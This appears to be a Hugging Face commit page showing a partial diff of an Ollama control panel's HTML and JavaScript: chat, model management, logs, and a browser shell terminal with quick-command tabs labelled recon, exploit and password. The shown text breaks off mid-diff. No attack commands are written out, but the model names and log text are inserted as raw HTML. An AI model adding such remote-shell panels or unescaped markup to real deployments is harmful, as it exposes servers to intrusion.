proti0070 commited on
Commit
48f1463
Β·
verified Β·
1 Parent(s): 3ef482e

Update web_ui.html

Browse files
Files changed (1) hide show
  1. web_ui.html +593 -731
web_ui.html CHANGED
@@ -3,363 +3,355 @@
3
  <head>
4
  <meta charset="UTF-8"/>
5
  <meta name="viewport" content="width=device-width,initial-scale=1"/>
6
- <title>OLLAMA CONTROL</title>
7
- <link href="https://fonts.googleapis.com/css2?family=Share+Tech+Mono&family=Bebas+Neue&family=DM+Mono:ital,wght@0,300;0,400;0,500;1,300&display=swap" rel="stylesheet"/>
8
  <style>
9
  :root {
10
- --bg: #080a0c;
11
- --panel: #0d1117;
12
- --border: #1c2333;
13
- --accent: #00e5ff;
14
- --accent2: #ff6b35;
15
- --accent3: #39ff14;
16
- --text: #c9d1d9;
17
- --dim: #484f58;
18
- --danger: #f85149;
19
- --success: #39d353;
20
- --warn: #e3b341;
21
- --font-mono: 'Share Tech Mono', monospace;
22
- --font-body: 'DM Mono', monospace;
23
  --font-head: 'Bebas Neue', sans-serif;
24
  }
25
  *{box-sizing:border-box;margin:0;padding:0}
26
- html,body{height:100%;background:var(--bg);color:var(--text);font-family:var(--font-body);overflow:hidden}
27
 
28
- /* ── SCAN LINE OVERLAY ── */
 
 
 
 
 
 
29
  body::after{
30
- content:'';position:fixed;inset:0;pointer-events:none;z-index:9999;
31
- background:repeating-linear-gradient(0deg,transparent,transparent 2px,rgba(0,0,0,.07) 2px,rgba(0,0,0,.07) 4px);
32
  }
33
 
34
- /* ── LAYOUT ── */
35
- #app{display:grid;grid-template-rows:56px 1fr;height:100vh}
36
 
37
- /* ── HEADER ── */
38
  header{
39
- display:flex;align-items:center;gap:16px;padding:0 20px;
40
  background:var(--panel);border-bottom:1px solid var(--border);
41
- position:relative;overflow:hidden;
42
  }
43
- header::before{
44
  content:'';position:absolute;bottom:0;left:0;right:0;height:1px;
45
- background:linear-gradient(90deg,transparent,var(--accent),var(--accent2),transparent);
46
- animation:scanH 3s linear infinite;
47
- }
48
- @keyframes scanH{from{transform:translateX(-100%)}to{transform:translateX(100%)}}
49
-
50
- .logo{font-family:var(--font-head);font-size:28px;letter-spacing:3px;color:var(--accent);text-shadow:0 0 20px rgba(0,229,255,.4)}
51
- .logo span{color:var(--accent2)}
52
- .status-dot{width:8px;height:8px;border-radius:50%;background:var(--danger);box-shadow:0 0 6px var(--danger);animation:pulse 2s infinite;flex-shrink:0}
53
- .status-dot.online{background:var(--accent3);box-shadow:0 0 8px var(--accent3)}
54
- @keyframes pulse{0%,100%{opacity:1}50%{opacity:.4}}
55
- .status-text{font-size:11px;color:var(--dim);letter-spacing:1px}
 
56
  .spacer{flex:1}
57
-
58
- /* model selector */
59
- .model-select-wrap{display:flex;align-items:center;gap:8px}
60
- .model-select-wrap label{font-size:10px;color:var(--dim);letter-spacing:2px;text-transform:uppercase}
61
- #global-model{
62
- background:#111;border:1px solid var(--border);color:var(--accent);
63
- font-family:var(--font-mono);font-size:12px;padding:4px 8px;border-radius:3px;
64
- outline:none;cursor:pointer;
65
  }
66
- #global-model:focus{border-color:var(--accent)}
 
67
 
68
- /* ── TABS ── */
69
- #tabs{display:flex;height:100%;overflow:hidden}
70
  .tab-nav{
71
- display:flex;flex-direction:column;width:52px;background:var(--panel);
72
- border-right:1px solid var(--border);padding:8px 0;gap:2px;flex-shrink:0;
73
  }
74
- .tab-btn{
75
  display:flex;flex-direction:column;align-items:center;justify-content:center;
76
- gap:4px;padding:12px 4px;cursor:pointer;border:none;background:transparent;
77
- color:var(--dim);font-size:8px;letter-spacing:1px;text-transform:uppercase;
78
- border-left:2px solid transparent;transition:all .2s;
79
  }
80
- .tab-btn svg{width:18px;height:18px;stroke:currentColor;fill:none;stroke-width:1.5}
81
- .tab-btn:hover{color:var(--text);background:rgba(255,255,255,.03)}
82
- .tab-btn.active{color:var(--accent);border-left-color:var(--accent);background:rgba(0,229,255,.05)}
83
- .tab-btn.active svg{filter:drop-shadow(0 0 4px var(--accent))}
84
 
85
  .panels{flex:1;overflow:hidden;position:relative}
86
  .panel{position:absolute;inset:0;display:none;flex-direction:column}
87
  .panel.active{display:flex}
88
 
89
- /* ── SHARED PANEL PARTS ── */
90
- .panel-header{
91
- padding:12px 16px;border-bottom:1px solid var(--border);
92
- display:flex;align-items:center;gap:10px;flex-shrink:0;
93
  }
94
- .panel-title{font-family:var(--font-head);font-size:20px;letter-spacing:2px;color:var(--text)}
95
- .panel-title span{color:var(--accent)}
96
  .badge{
97
- font-size:9px;padding:2px 7px;border-radius:2px;letter-spacing:1px;
98
- background:rgba(0,229,255,.1);border:1px solid rgba(0,229,255,.3);color:var(--accent);
99
  }
 
100
 
101
- /* ── CHAT PANEL ── */
102
- #chat-panel{background:var(--bg)}
103
- #chat-messages{
104
- flex:1;overflow-y:auto;padding:16px;display:flex;flex-direction:column;gap:12px;
105
- scroll-behavior:smooth;
106
  }
107
- #chat-messages::-webkit-scrollbar{width:4px}
108
- #chat-messages::-webkit-scrollbar-thumb{background:var(--border);border-radius:2px}
109
 
110
- .msg{display:flex;gap:10px;max-width:85%;animation:msgIn .2s ease}
111
- @keyframes msgIn{from{opacity:0;transform:translateY(6px)}to{opacity:1;transform:none}}
112
  .msg.user{align-self:flex-end;flex-direction:row-reverse}
113
- .msg-avatar{
114
- width:28px;height:28px;border-radius:3px;display:flex;align-items:center;
115
- justify-content:center;font-size:10px;font-weight:bold;flex-shrink:0;margin-top:2px;
116
- }
117
- .msg.user .msg-avatar{background:rgba(255,107,53,.2);border:1px solid var(--accent2);color:var(--accent2)}
118
- .msg.ai .msg-avatar{background:rgba(0,229,255,.1);border:1px solid rgba(0,229,255,.3);color:var(--accent)}
119
- .msg-bubble{
120
- padding:10px 14px;border-radius:4px;font-size:13px;line-height:1.6;
121
- font-family:var(--font-body);white-space:pre-wrap;word-break:break-word;
122
- }
123
- .msg.user .msg-bubble{background:rgba(255,107,53,.12);border:1px solid rgba(255,107,53,.25);color:#ffb899}
124
- .msg.ai .msg-bubble{background:rgba(0,229,255,.05);border:1px solid rgba(0,229,255,.15);color:var(--text)}
125
- .msg.ai .msg-bubble.streaming::after{
126
- content:'β–‹';animation:blink .6s step-end infinite;color:var(--accent);
127
- }
128
  @keyframes blink{0%,100%{opacity:1}50%{opacity:0}}
129
- .msg-time{font-size:9px;color:var(--dim);margin-top:4px;text-align:right}
130
 
131
  .chat-empty{
132
- flex:1;display:flex;flex-direction:column;align-items:center;justify-content:center;
133
- gap:8px;color:var(--dim);
 
 
 
 
134
  }
135
- .chat-empty .big{font-family:var(--font-head);font-size:48px;letter-spacing:4px;color:rgba(0,229,255,.1)}
136
 
137
- #chat-input-area{
138
- padding:12px 16px;border-top:1px solid var(--border);
139
  display:flex;gap:8px;align-items:flex-end;background:var(--panel);
140
  }
141
- #chat-input{
142
- flex:1;background:#0a0f15;border:1px solid var(--border);color:var(--text);
143
- font-family:var(--font-body);font-size:13px;padding:10px 12px;border-radius:4px;
144
- outline:none;resize:none;max-height:120px;min-height:40px;
145
- transition:border-color .2s;line-height:1.5;
146
  }
147
- #chat-input:focus{border-color:rgba(0,229,255,.4)}
148
- #chat-input::placeholder{color:var(--dim)}
149
  .send-btn{
150
- background:var(--accent);color:#000;border:none;padding:10px 16px;
151
- border-radius:4px;cursor:pointer;font-family:var(--font-head);font-size:14px;
152
- letter-spacing:1px;transition:all .2s;flex-shrink:0;height:40px;
153
- display:flex;align-items:center;gap:6px;
154
  }
155
- .send-btn:hover{background:#33eaff;box-shadow:0 0 16px rgba(0,229,255,.4)}
156
  .send-btn:disabled{background:var(--border);color:var(--dim);cursor:not-allowed;box-shadow:none}
157
- .send-btn svg{width:14px;height:14px;stroke:currentColor;fill:none;stroke-width:2}
158
 
159
- /* ── SHELL PANEL ── */
160
- #shell-panel{background:#060809}
161
- .shell-toolbar{
162
- padding:8px 16px;border-bottom:1px solid var(--border);
163
- display:flex;gap:8px;align-items:center;background:var(--panel);flex-shrink:0;
164
- }
165
- .shell-input-wrap{
166
- flex:1;display:flex;align-items:center;gap:8px;
167
- background:#070c10;border:1px solid var(--border);border-radius:3px;padding:0 10px;
168
- }
169
- .shell-prompt{color:var(--accent3);font-family:var(--font-mono);font-size:13px;user-select:none}
170
- #shell-input{
171
- flex:1;background:transparent;border:none;outline:none;
172
- color:#e0ffe0;font-family:var(--font-mono);font-size:13px;padding:8px 0;
173
- }
174
- #shell-input::placeholder{color:#1e3a1e}
175
- .run-btn,.kill-btn{
176
- border:none;padding:7px 14px;border-radius:3px;cursor:pointer;
177
- font-family:var(--font-head);font-size:13px;letter-spacing:1px;
178
- transition:all .2s;white-space:nowrap;
179
- }
180
- .run-btn{background:var(--accent3);color:#000}
181
- .run-btn:hover{box-shadow:0 0 12px rgba(57,255,20,.4)}
182
- .run-btn:disabled{background:#1a2e1a;color:#2a4a2a;cursor:not-allowed}
183
- .kill-btn{background:var(--danger);color:#fff;display:none}
184
- .kill-btn:hover{box-shadow:0 0 12px rgba(248,81,73,.4)}
185
- .kill-btn.visible{display:block}
186
-
187
- #shell-output{
188
- flex:1;overflow-y:auto;padding:14px 16px;
189
- font-family:var(--font-mono);font-size:12.5px;line-height:1.7;
190
- color:#b0ffb0;word-break:break-all;
191
- }
192
- #shell-output::-webkit-scrollbar{width:4px}
193
- #shell-output::-webkit-scrollbar-thumb{background:var(--border)}
194
- .shell-line{}
195
- .shell-cmd-echo{color:var(--accent);margin:6px 0 2px}
196
- .shell-exit-ok{color:var(--accent3);font-size:11px;margin-top:4px}
197
- .shell-exit-err{color:var(--danger);font-size:11px;margin-top:4px}
198
- .shell-empty-msg{color:#1e3a1e;text-align:center;margin-top:60px;font-size:13px}
199
-
200
- /* shell quick cmds */
201
- .quick-cmds{
202
- display:flex;gap:6px;padding:6px 16px;border-bottom:1px solid var(--border);
203
- flex-wrap:wrap;flex-shrink:0;background:#07090c;
204
  }
205
- .qcmd{
206
- font-family:var(--font-mono);font-size:10px;padding:3px 8px;
207
- background:rgba(57,255,20,.06);border:1px solid rgba(57,255,20,.2);
208
- color:rgba(57,255,20,.7);border-radius:2px;cursor:pointer;
209
- transition:all .15s;white-space:nowrap;
210
- }
211
- .qcmd:hover{background:rgba(57,255,20,.15);color:var(--accent3)}
212
- .cat-tab{
213
  background:transparent;border:none;border-bottom:2px solid transparent;
214
- color:var(--dim);font-family:var(--font-mono);font-size:10px;
215
- padding:8px 14px;cursor:pointer;white-space:nowrap;transition:all .15s;
216
- letter-spacing:.5px;
217
  }
218
- .cat-tab:hover{color:var(--text);background:rgba(255,255,255,.03)}
219
- .cat-tab.active{color:var(--accent3);border-bottom-color:var(--accent3);background:rgba(57,255,20,.05)}
220
 
221
- /* ── MODELS PANEL ── */
222
- #models-panel{background:var(--bg)}
223
- .models-content{flex:1;overflow-y:auto;padding:16px;display:flex;flex-direction:column;gap:12px}
224
- .models-actions{display:flex;gap:8px;flex-wrap:wrap}
225
- .pull-wrap{display:flex;gap:8px;flex:1;min-width:200px}
226
- #pull-input{
227
- flex:1;background:#0a0f15;border:1px solid var(--border);color:var(--text);
228
- font-family:var(--font-mono);font-size:12px;padding:8px 12px;border-radius:3px;outline:none;
229
- }
230
- #pull-input:focus{border-color:rgba(0,229,255,.4)}
231
- #pull-input::placeholder{color:var(--dim)}
232
- .action-btn{
233
- border:none;padding:8px 16px;border-radius:3px;cursor:pointer;
234
- font-family:var(--font-head);font-size:13px;letter-spacing:1px;transition:all .2s;
235
  }
236
- .action-btn.primary{background:var(--accent);color:#000}
237
- .action-btn.primary:hover{box-shadow:0 0 12px rgba(0,229,255,.4)}
238
- .action-btn.secondary{background:var(--border);color:var(--text)}
239
- .action-btn.secondary:hover{background:#2a3340}
240
-
241
- .model-grid{display:grid;grid-template-columns:repeat(auto-fill,minmax(280px,1fr));gap:10px}
242
- .model-card{
243
- background:var(--panel);border:1px solid var(--border);border-radius:5px;
244
- padding:14px;transition:border-color .2s;cursor:pointer;
245
- }
246
- .model-card:hover{border-color:rgba(0,229,255,.3)}
247
- .model-card.active-model{border-color:var(--accent);background:rgba(0,229,255,.04)}
248
- .model-name{font-family:var(--font-mono);font-size:13px;color:var(--accent);margin-bottom:4px}
249
- .model-meta{font-size:11px;color:var(--dim);display:flex;gap:12px;flex-wrap:wrap}
250
- .model-meta span{display:flex;align-items:center;gap:4px}
251
- .model-actions{margin-top:10px;display:flex;gap:6px}
252
- .m-btn{
253
- font-size:10px;padding:4px 10px;border-radius:2px;border:none;cursor:pointer;
254
- font-family:var(--font-head);letter-spacing:1px;transition:all .15s;
255
  }
256
- .m-btn.use{background:rgba(0,229,255,.15);color:var(--accent);border:1px solid rgba(0,229,255,.3)}
257
- .m-btn.use:hover{background:rgba(0,229,255,.25)}
258
- .m-btn.del{background:rgba(248,81,73,.1);color:var(--danger);border:1px solid rgba(248,81,73,.3)}
259
- .m-btn.del:hover{background:rgba(248,81,73,.2)}
260
-
261
- .pull-progress{
262
- background:var(--panel);border:1px solid var(--border);border-radius:5px;padding:14px;
263
- display:none;
264
  }
265
- .pull-progress.visible{display:block}
266
- .progress-label{font-size:11px;color:var(--dim);margin-bottom:8px;font-family:var(--font-mono)}
267
- .progress-bar-wrap{background:#0a0f15;border-radius:2px;height:4px;overflow:hidden}
268
- .progress-bar{height:100%;background:linear-gradient(90deg,var(--accent),var(--accent2));
269
- width:0%;transition:width .3s;border-radius:2px}
270
- .progress-status{font-size:11px;color:var(--accent);margin-top:6px;font-family:var(--font-mono)}
271
-
272
- /* no models */
273
- .no-models{text-align:center;padding:40px;color:var(--dim)}
274
- .no-models .icon{font-size:48px;margin-bottom:12px;opacity:.3}
275
-
276
- /* ── LOGS PANEL ── */
277
- #logs-panel{background:#060809}
278
- #log-output{
279
- flex:1;overflow-y:auto;padding:14px 16px;
280
- font-family:var(--font-mono);font-size:11.5px;line-height:1.8;color:#7a8a7a;
281
  }
282
- .log-line{border-bottom:1px solid rgba(255,255,255,.02);padding:1px 0}
283
- .log-line.info{color:#7aafbf}
284
- .log-line.warn{color:var(--warn)}
285
- .log-line.error{color:var(--danger)}
286
- .log-line.success{color:var(--accent3)}
287
- .log-ts{color:var(--dim);margin-right:8px;user-select:none}
288
- .logs-toolbar{padding:8px 16px;border-bottom:1px solid var(--border);background:var(--panel);flex-shrink:0;display:flex;gap:8px}
289
-
290
- /* ── TOAST ── */
291
- #toast{
292
- position:fixed;bottom:20px;right:20px;z-index:10000;
293
- display:flex;flex-direction:column;gap:8px;pointer-events:none;
294
  }
295
- .toast-item{
296
- background:var(--panel);border-radius:4px;padding:10px 16px;
297
- font-size:12px;animation:toastIn .3s ease;border-left:3px solid var(--accent);
298
- box-shadow:0 4px 20px rgba(0,0,0,.6);
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
299
  }
300
- .toast-item.error{border-color:var(--danger);color:var(--danger)}
301
- .toast-item.success{border-color:var(--accent3);color:var(--accent3)}
302
- @keyframes toastIn{from{opacity:0;transform:translateX(20px)}to{opacity:1;transform:none}}
303
-
304
- /* scrollbar global */
305
- *::-webkit-scrollbar{width:4px;height:4px}
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
306
  *::-webkit-scrollbar-track{background:transparent}
307
- *::-webkit-scrollbar-thumb{background:var(--border);border-radius:2px}
308
  </style>
309
  </head>
310
  <body>
311
  <div id="app">
312
  <!-- HEADER -->
313
  <header>
314
- <div class="logo">OLLAMA<span>CTRL</span></div>
315
- <div class="status-dot" id="status-dot"></div>
316
- <div class="status-text" id="status-text">CONNECTING...</div>
317
  <div class="spacer"></div>
318
- <div class="model-select-wrap">
319
  <label>MODEL</label>
320
- <select id="global-model"><option value="">β€” select β€”</option></select>
321
  </div>
322
  </header>
323
 
324
- <!-- MAIN -->
325
- <div id="tabs">
326
  <!-- TAB NAV -->
327
  <nav class="tab-nav">
328
- <button class="tab-btn active" data-tab="chat" title="Chat">
329
  <svg viewBox="0 0 24 24"><path d="M21 15a2 2 0 0 1-2 2H7l-4 4V5a2 2 0 0 1 2-2h14a2 2 0 0 1 2 2z"/></svg>
330
  CHAT
331
  </button>
332
- <button class="tab-btn" data-tab="shell" title="Shell">
333
  <svg viewBox="0 0 24 24"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
334
  SHELL
335
  </button>
336
- <button class="tab-btn" data-tab="models" title="Models">
337
  <svg viewBox="0 0 24 24"><rect x="2" y="3" width="20" height="14" rx="2"/><line x1="8" y1="21" x2="16" y2="21"/><line x1="12" y1="17" x2="12" y2="21"/></svg>
338
  MODELS
339
  </button>
340
- <button class="tab-btn" data-tab="logs" title="Logs">
341
- <svg viewBox="0 0 24 24"><path d="M14 2H6a2 2 0 0 0-2 2v16a2 2 0 0 0 2 2h12a2 2 0 0 0 2-2V8z"/><polyline points="14 2 14 8 20 8"/><line x1="16" y1="13" x2="8" y2="13"/><line x1="16" y1="17" x2="8" y2="17"/><polyline points="10 9 9 9 8 9"/></svg>
342
  LOGS
343
  </button>
344
  </nav>
345
 
346
  <div class="panels">
 
347
  <!-- ── CHAT ── -->
348
  <div class="panel active" id="chat-panel">
349
- <div class="panel-header">
350
- <div class="panel-title">AI <span>CHAT</span></div>
351
- <div class="badge" id="chat-model-badge">no model</div>
352
  <div style="flex:1"></div>
353
- <button class="action-btn secondary" style="font-size:11px;padding:5px 10px" onclick="clearChat()">CLEAR</button>
354
  </div>
355
- <div id="chat-messages">
356
  <div class="chat-empty" id="chat-empty">
357
- <div class="big">OLLAMA</div>
358
- <div style="font-size:12px;color:var(--dim);letter-spacing:2px">SELECT A MODEL AND START CHATTING</div>
359
  </div>
360
  </div>
361
- <div id="chat-input-area">
362
- <textarea id="chat-input" rows="1" placeholder="Type a message... (Enter to send, Shift+Enter for newline)"></textarea>
363
  <button class="send-btn" id="send-btn" onclick="sendChat()">
364
  <svg viewBox="0 0 24 24"><line x1="22" y1="2" x2="11" y2="13"/><polygon points="22 2 15 22 11 13 2 9 22 2"/></svg>
365
  SEND
@@ -369,152 +361,117 @@ header::before{
369
 
370
  <!-- ── SHELL ── -->
371
  <div class="panel" id="shell-panel">
372
- <div class="panel-header">
373
- <div class="panel-title">SHELL <span>TERMINAL</span></div>
374
- <div class="badge">LIVE STREAM</div>
375
  </div>
376
- <!-- Kali tool category tabs -->
377
- <div style="display:flex;gap:0;border-bottom:1px solid var(--border);flex-shrink:0;background:#07090c;overflow-x:auto" id="cat-tabs">
378
- <button class="cat-tab active" onclick="switchCat(this,'system')">βš™ SYSTEM</button>
379
- <button class="cat-tab" onclick="switchCat(this,'recon')">πŸ” RECON</button>
380
- <button class="cat-tab" onclick="switchCat(this,'web')">🌐 WEB</button>
381
- <button class="cat-tab" onclick="switchCat(this,'network')">πŸ“‘ NETWORK</button>
382
- <button class="cat-tab" onclick="switchCat(this,'exploit')">πŸ’₯ EXPLOIT</button>
383
- <button class="cat-tab" onclick="switchCat(this,'password')">πŸ”‘ PASSWORD</button>
384
- <button class="cat-tab" onclick="switchCat(this,'forensics')">πŸ”¬ FORENSICS</button>
385
- <button class="cat-tab" onclick="switchCat(this,'ollama')">πŸ¦™ OLLAMA</button>
386
  </div>
387
- <div class="quick-cmds" id="quick-cmds"><!-- populated by JS --></div>
388
- <div class="shell-toolbar">
389
- <div class="shell-input-wrap">
390
- <span class="shell-prompt">$&nbsp;</span>
391
- <input id="shell-input" type="text" placeholder="enter command..." autocomplete="off" spellcheck="false"/>
392
  </div>
393
  <button class="run-btn" id="run-btn" onclick="runShell()">β–Ά RUN</button>
394
  <button class="kill-btn" id="kill-btn" onclick="killShell()">β–  KILL</button>
395
- <button class="action-btn secondary" style="font-size:11px;padding:6px 10px" onclick="clearShell()">CLR</button>
396
- </div>
397
- <div id="shell-output">
398
- <div class="shell-empty-msg">// awaiting command input</div>
399
  </div>
 
400
  </div>
401
 
402
  <!-- ── MODELS ── -->
403
  <div class="panel" id="models-panel">
404
- <div class="panel-header">
405
- <div class="panel-title">MODEL <span>MANAGER</span></div>
406
- <button class="action-btn secondary" style="font-size:11px;padding:5px 10px" onclick="loadModels()">↻ REFRESH</button>
407
  </div>
408
- <div class="models-content">
409
- <!-- Pull bar -->
410
- <div style="background:var(--panel);border:1px solid var(--border);border-radius:5px;padding:14px">
411
- <div style="font-size:10px;color:var(--dim);letter-spacing:2px;margin-bottom:10px">PULL NEW MODEL</div>
412
- <div class="models-actions">
413
- <div class="pull-wrap">
414
- <input id="pull-input" type="text" placeholder="e.g. llama3.2, phi3, mistral, gemma2:2b"/>
415
- <button class="action-btn primary" onclick="pullModel()">⬇ PULL</button>
416
- </div>
417
  </div>
418
- <div style="margin-top:8px;display:flex;gap:8px;flex-wrap:wrap" id="popular-models">
419
- <span class="qcmd" onclick="document.getElementById('pull-input').value='tinyllama'">tinyllama</span>
420
- <span class="qcmd" onclick="document.getElementById('pull-input').value='phi3'">phi3</span>
421
- <span class="qcmd" onclick="document.getElementById('pull-input').value='gemma2:2b'">gemma2:2b</span>
422
- <span class="qcmd" onclick="document.getElementById('pull-input').value='mistral'">mistral</span>
423
- <span class="qcmd" onclick="document.getElementById('pull-input').value='llama3.2'">llama3.2</span>
424
- <span class="qcmd" onclick="document.getElementById('pull-input').value='qwen2.5:3b'">qwen2.5:3b</span>
425
- <span class="qcmd" onclick="document.getElementById('pull-input').value='deepseek-r1:7b'">deepseek-r1:7b</span>
426
  </div>
427
  </div>
428
-
429
- <!-- Pull progress -->
430
- <div class="pull-progress" id="pull-progress">
431
- <div class="progress-label" id="pull-model-name">Pulling...</div>
432
- <div class="progress-bar-wrap"><div class="progress-bar" id="pull-bar"></div></div>
433
- <div class="progress-status" id="pull-status">Initializing...</div>
434
- </div>
435
-
436
- <!-- Model list -->
437
- <div class="model-grid" id="model-grid">
438
- <div class="no-models">
439
- <div class="icon">πŸ“¦</div>
440
- <div style="font-size:12px;letter-spacing:1px">Loading models...</div>
441
- </div>
442
  </div>
 
443
  </div>
444
  </div>
445
 
446
  <!-- ── LOGS ── -->
447
  <div class="panel" id="logs-panel">
448
- <div class="panel-header">
449
- <div class="panel-title">SYSTEM <span>LOGS</span></div>
450
- <button class="action-btn secondary" style="font-size:11px;padding:5px 10px" onclick="clearLogs()">CLEAR</button>
451
  </div>
452
- <div id="log-output">
453
- <div class="log-line info"><span class="log-ts">[INIT]</span> OllamaCtrl web interface started</div>
454
  </div>
455
  </div>
456
- </div>
457
- </div>
458
- </div>
459
 
460
- <!-- TOAST -->
 
 
 
461
  <div id="toast"></div>
462
 
463
  <script>
464
- // ─────────────────────────────────────────────
465
- // CONFIG β€” auto-detect base URL
466
- // ─────────────────────────────────────────────
467
- const BASE = window.location.origin; // same origin as /web
468
-
469
- // ─────────────────────────────────────────────
470
- // STATE
471
- // ─────────────────────────────────────────────
472
  let currentModel = '';
473
- let chatHistory = [];
474
- let shellController = null;
475
  let shellRunning = false;
476
- let shellHistory = [];
477
- let shellHistoryIdx = -1;
478
-
479
- // ─────────────────────────────────────────────
480
- // UTILS
481
- // ─────────────────────────────────────────────
482
- function log(msg, type='info') {
483
- const el = document.getElementById('log-output');
484
- const ts = new Date().toLocaleTimeString('en',{hour12:false});
485
- const line = document.createElement('div');
486
- line.className = `log-line ${type}`;
487
- line.innerHTML = `<span class="log-ts">[${ts}]</span> ${msg}`;
488
- el.appendChild(line);
489
- el.scrollTop = el.scrollHeight;
490
- }
491
-
492
- function toast(msg, type='info') {
493
- const t = document.getElementById('toast');
494
- const el = document.createElement('div');
495
- el.className = `toast-item ${type}`;
496
- el.textContent = msg;
497
- t.appendChild(el);
498
- setTimeout(()=>el.remove(), 3500);
499
- }
500
-
501
- function clearLogs(){document.getElementById('log-output').innerHTML=''}
502
-
503
- function fmt(bytes) {
504
- if (!bytes) return '';
505
- const gb = bytes/1e9;
506
- return gb >= 1 ? gb.toFixed(1)+'GB' : (bytes/1e6).toFixed(0)+'MB';
507
- }
508
-
509
- function now(){return new Date().toLocaleTimeString('en',{hour12:false,hour:'2-digit',minute:'2-digit'})}
510
-
511
- // ─────────────────────────────────────────────
512
- // TABS
513
- // ─────────────────────────────────────────────
514
- document.querySelectorAll('.tab-btn').forEach(btn=>{
515
  btn.addEventListener('click',()=>{
516
- const tab = btn.dataset.tab;
517
- document.querySelectorAll('.tab-btn').forEach(b=>b.classList.remove('active'));
518
  document.querySelectorAll('.panel').forEach(p=>p.classList.remove('active'));
519
  btn.classList.add('active');
520
  document.getElementById(tab+'-panel').classList.add('active');
@@ -522,505 +479,410 @@ document.querySelectorAll('.tab-btn').forEach(btn=>{
522
  });
523
  });
524
 
525
- // ─────────────────────────────────────────────
526
- // STATUS CHECK
527
- // ─────────────────────────────────────────────
528
- async function checkStatus() {
529
- try {
530
- const r = await fetch(`${BASE}/api/tags`,{signal:AbortSignal.timeout(4000)});
531
  if(r.ok){
532
- document.getElementById('status-dot').classList.add('online');
533
- document.getElementById('status-text').textContent='CONNECTED';
534
- log('Server online','success');
535
- await loadModels(true); // silent load
536
  }
537
- } catch(e){
538
- document.getElementById('status-dot').classList.remove('online');
539
- document.getElementById('status-text').textContent='OFFLINE';
540
  log('Server unreachable: '+e.message,'error');
541
  }
542
  }
543
 
544
- // ─────────────────────────────────────────────
545
- // MODEL MANAGEMENT
546
- // ─────────────────────────────────────────────
547
- async function loadModels(silent=false) {
548
- try {
549
- const r = await fetch(`${BASE}/api/tags`);
550
- const data = await r.json();
551
- const models = data.models || [];
552
-
553
- // Update global select
554
- const sel = document.getElementById('global-model');
555
- const prev = sel.value;
556
- sel.innerHTML = '<option value="">β€” select β€”</option>';
557
  models.forEach(m=>{
558
- const o = document.createElement('option');
559
- o.value = m.name; o.textContent = m.name;
560
  sel.appendChild(o);
561
  });
562
- if(prev) sel.value = prev;
563
 
564
- // Update model grid
565
- const grid = document.getElementById('model-grid');
566
  if(!models.length){
567
- grid.innerHTML='<div class="no-models"><div class="icon">πŸ“¦</div><div style="font-size:12px;letter-spacing:1px">No models. Pull one above.</div></div>';
568
  return;
569
  }
570
- grid.innerHTML = models.map(m=>`
571
- <div class="model-card ${currentModel===m.name?'active-model':''}" onclick="selectModel('${m.name}')">
572
- <div class="model-name">${m.name}</div>
573
- <div class="model-meta">
574
  <span>πŸ’Ύ ${fmt(m.size)}</span>
575
  ${m.details?.parameter_size?`<span>πŸ”’ ${m.details.parameter_size}</span>`:''}
576
  ${m.details?.quantization_level?`<span>⚑ ${m.details.quantization_level}</span>`:''}
577
  </div>
578
- <div class="model-actions">
579
- <button class="m-btn use" onclick="event.stopPropagation();selectModel('${m.name}')">USE</button>
580
- <button class="m-btn del" onclick="event.stopPropagation();deleteModel('${m.name}')">DELETE</button>
581
  </div>
582
  </div>`).join('');
583
-
584
- if(!silent) log(`Loaded ${models.length} models`,'info');
585
- } catch(e){
586
- if(!silent) log('Failed to load models: '+e.message,'error');
587
  }
588
  }
589
 
590
  function selectModel(name){
591
- currentModel = name;
592
- document.getElementById('global-model').value = name;
593
- document.getElementById('chat-model-badge').textContent = name;
594
- toast('Model: '+name,'success');
595
- log('Active model β†’ '+name,'success');
596
  loadModels(true);
597
  }
598
 
599
- document.getElementById('global-model').addEventListener('change',function(){
600
  if(this.value) selectModel(this.value);
601
  });
602
 
603
  async function deleteModel(name){
604
- if(!confirm(`Delete model "${name}"?`)) return;
605
- try {
606
  await fetch(`${BASE}/api/delete`,{method:'DELETE',headers:{'Content-Type':'application/json'},body:JSON.stringify({name})});
607
  toast('Deleted: '+name,'error');
608
- log('Deleted model: '+name,'warn');
609
  loadModels();
610
- if(currentModel===name){currentModel='';document.getElementById('global-model').value='';}
611
- } catch(e){
612
- toast('Delete failed','error');log('Delete error: '+e.message,'error');
613
- }
614
  }
615
 
 
 
616
  async function pullModel(){
617
- const name = document.getElementById('pull-input').value.trim();
618
- if(!name){toast('Enter a model name','error');return;}
619
-
620
- const prog = document.getElementById('pull-progress');
621
- const bar = document.getElementById('pull-bar');
622
- const status = document.getElementById('pull-status');
623
- const label = document.getElementById('pull-model-name');
624
- prog.classList.add('visible');
625
- label.textContent = `Pulling: ${name}`;
626
- bar.style.width='0%'; status.textContent='Starting...';
627
- log(`Pulling model: ${name}`,'info');
628
-
629
- try {
630
- const r = await fetch(`${BASE}/api/pull`,{
631
  method:'POST',headers:{'Content-Type':'application/json'},
632
  body:JSON.stringify({name})
633
  });
634
- const reader = r.body.getReader();
635
- const dec = new TextDecoder();
636
  let buf='';
637
  while(true){
638
  const {done,value}=await reader.read();
639
  if(done) break;
640
  buf+=dec.decode(value,{stream:true});
641
- const lines=buf.split('\n'); buf=lines.pop();
642
  for(const line of lines){
643
  if(!line.trim()) continue;
644
  try{
645
  const d=JSON.parse(line);
646
- status.textContent=d.status||'...';
647
- if(d.total&&d.completed){
648
- const pct=Math.round(d.completed/d.total*100);
649
- bar.style.width=pct+'%';
650
- }
651
  }catch(e){}
652
  }
653
  }
654
- prog.classList.remove('visible');
655
- bar.style.width='100%';
656
- toast('βœ“ Pulled: '+name,'success');
657
- log('Pull complete: '+name,'success');
658
- document.getElementById('pull-input').value='';
659
  loadModels();
660
- } catch(e){
661
- prog.classList.remove('visible');
662
- toast('Pull failed','error'); log('Pull error: '+e.message,'error');
663
  }
664
  }
665
 
666
- // Enter on pull input
667
- document.getElementById('pull-input').addEventListener('keydown',e=>{if(e.key==='Enter')pullModel()});
668
 
669
- // ─────────────────────────────────────────────
670
- // CHAT
671
- // ─────────────────────────────────────────────
672
  function clearChat(){
673
- chatHistory=[];
674
